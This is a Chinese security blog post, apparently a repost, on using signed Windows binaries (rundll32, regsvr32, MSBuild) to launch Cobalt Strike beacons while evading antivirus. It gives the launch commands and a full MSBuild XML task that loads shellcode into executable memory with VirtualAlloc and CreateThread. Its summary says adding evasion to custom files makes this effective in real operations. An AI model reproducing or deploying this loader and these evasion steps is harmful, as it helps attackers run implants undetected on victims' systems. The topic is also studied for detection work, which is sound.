『杂项』利用 Windows 白名单免杀

admin 2024年3月5日11:34:00评论24 views字数 3358阅读11分11秒阅读模式
『杂项』利用 Windows 白名单免杀

点击蓝字 关注我们

日期:2023-10-08
作者:Corl7
介绍:介绍 3 种常用利用Windows白名单加载payload的方式。

0x00 前言

学习一下常用的利用Windows白名单加载payload的方式,Windows白名单即使用微软签名的文件,很多的杀软会对白文件的操作进行放行,因此可以达到免杀效果。本文主要是简单介绍rundll32Msbuildregsvr32的使用方式,因为这3种都可以使用自定义的文件。

『杂项』利用 Windows 白名单免杀

0x01 rundll32

rundll32.exe可以执行32位的DLL文件,它的作用是执行DLL文件中的内部函数,功能就是以命令行的方式调用动态链接程序库。

rundll32.exe令行下的使用方法为:rundll32.exe DLLname,Functionname,x86x64位的操作系统rundll32调用位置不同,64位的系统默认调用的是64rundll32.exe,在C:WindowsSystem32目录下,32位的系统默认调用的是32rundll32.exe,在C:WindowsSysWOW64目录下。

rundll32 执行 payload

首先使用CS生成64位的dll文件。

『杂项』利用 Windows 白名单免杀

查看生成dll文件中的导出函数,可以看出导出函数名为StartW

『杂项』利用 Windows 白名单免杀

使用rundll32运行CS生成的beacon.dll文件,加dll文件中导出函数名。

rundll32 beacon.dll,StartW
『杂项』利用 Windows 白名单免杀

成功上线CS,进程为rundll32.exe

『杂项』利用 Windows 白名单免杀

0x02 Msbuild

MSBuild 是 Microsoft Build Engine的缩写,是.NET和 Visual Studio的构建平台。MSBuild使用 XML控制模式来指导系统进行编译。尽管 SBuild内置于 Visual Studio系统,用户可通过 Visual Studio使用,但其实它是独立的,无需安装完整的 Visual Studio套件也可以使用。

.NET版本不同,Msbuild所在目录也不一样,Msbuild.exe所在路径没有被系统添加PATH环境变量中,因此,在使用时需要使用加上绝对路径,以下是Msbuild的所在目录:

C:WindowsMicrosoft.NETFrameworkv2.0.50727Msbuild.exeC:WindowsMicrosoft.NETFramework64v2.0.50727Msbuild.exeC:WindowsMicrosoft.NETFrameworkv3.5Msbuild.exeC:WindowsMicrosoft.NETFramework64v3.5Msbuild.exeC:WindowsMicrosoft.NETFrameworkv4.0.30319Msbuild.exeC:WindowsMicrosoft.NETFramework64v4.0.30319Msbuild.exe

Msbuild 执行 payload

这里以本地加载为例,首先使用CS生成32C#格式的shellcode

『杂项』利用 Windows 白名单免杀

编写xml文件文件,将生成的shellcode粘贴到byte[] shellcode =处,并保存为test.xml

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <Target Name="Hello">   <ClassExample /> </Target> <UsingTask   TaskName="ClassExample"   TaskFactory="CodeTaskFactory"   AssemblyFile="C:WindowsMicrosoft.NetFrameworkv4.0.30319Microsoft.Build.Tasks.v4.0.dll" >   <Task>     <Code Type="Class" Language="cs">     <![CDATA[       using System;       using System.Runtime.InteropServices;       using Microsoft.Build.Framework;       using Microsoft.Build.Utilities;       public class ClassExample :  Task, ITask      {                 private static UInt32 MEM_COMMIT = 0x1000;                   private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;                  [DllImport("kernel32")]           private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,           UInt32 size, UInt32 flAllocationType, UInt32 flProtect);                  [DllImport("kernel32")]           private static extern IntPtr CreateThread(           UInt32 lpThreadAttributes,           UInt32 dwStackSize,           UInt32 lpStartAddress,           IntPtr param,           UInt32 dwCreationFlags,           ref UInt32 lpThreadId          );        [DllImport("kernel32")]           private static extern UInt32 WaitForSingleObject(           IntPtr hHandle,           UInt32 dwMilliseconds);                   public override bool Execute()        {           byte[] shellcode = new byte[] { 0 };             UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,               MEM_COMMIT, PAGE_EXECUTE_READWRITE);             Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);             IntPtr hThread = IntPtr.Zero;             UInt32 threadId = 0;             IntPtr pinfo = IntPtr.Zero;             hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);             WaitForSingleObject(hThread, 0xFFFFFFFF);             return true;        }      }        ]]>     </Code>   </Task> </UsingTask></Project>

使用MSBuild.exe运行test.xml文件。

C:WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe test.xml
『杂项』利用 Windows 白名单免杀

CS中已上线,进程为MSBuild.exe

『杂项』利用 Windows 白名单免杀

0x03 regsvr32

regsvr32命令用于注册COM组件,是 Windows系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。WinXP及以上系统的regsvr32.exewindowssystem32文件夹下,2000系统的regsvr32.exewinntsystem32文件夹下。

regsvr32 执行 payload

这里还是使用运行rundll32时的dll文件,使用regsvr32加要运行的dll文件即可,运行后会有弹框,点击确定后弹框消失。

regsvr32 beacon.dll
『杂项』利用 Windows 白名单免杀

CS成功上线,进程为regsvr32.exe

『杂项』利用 Windows 白名单免杀

0x04 总结

3种利用Windows白名单加载payload是在实战中经常使用到的,当然现在直接使用这3个白文件加远控生成的dll文件或基础xml文件肯定是达不到免杀效果,这3个白文件早就被杀软盯的死死的了,要想达到免杀效果,rundll32regsvr32可以使用自定义dll文件,Msbuild可以使用自定义xml文件,在自定义文件中加入免杀手法,即可达到免杀效果。
『杂项』利用 Windows 白名单免杀
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

点此亲启

原文始发于微信公众号(宸极实验室):『杂项』利用 Windows 白名单免杀

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月5日11:34:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『杂项』利用 Windows 白名单免杀http://cn-sec.com/archives/2095208.html

发表评论

匿名网友 填写信息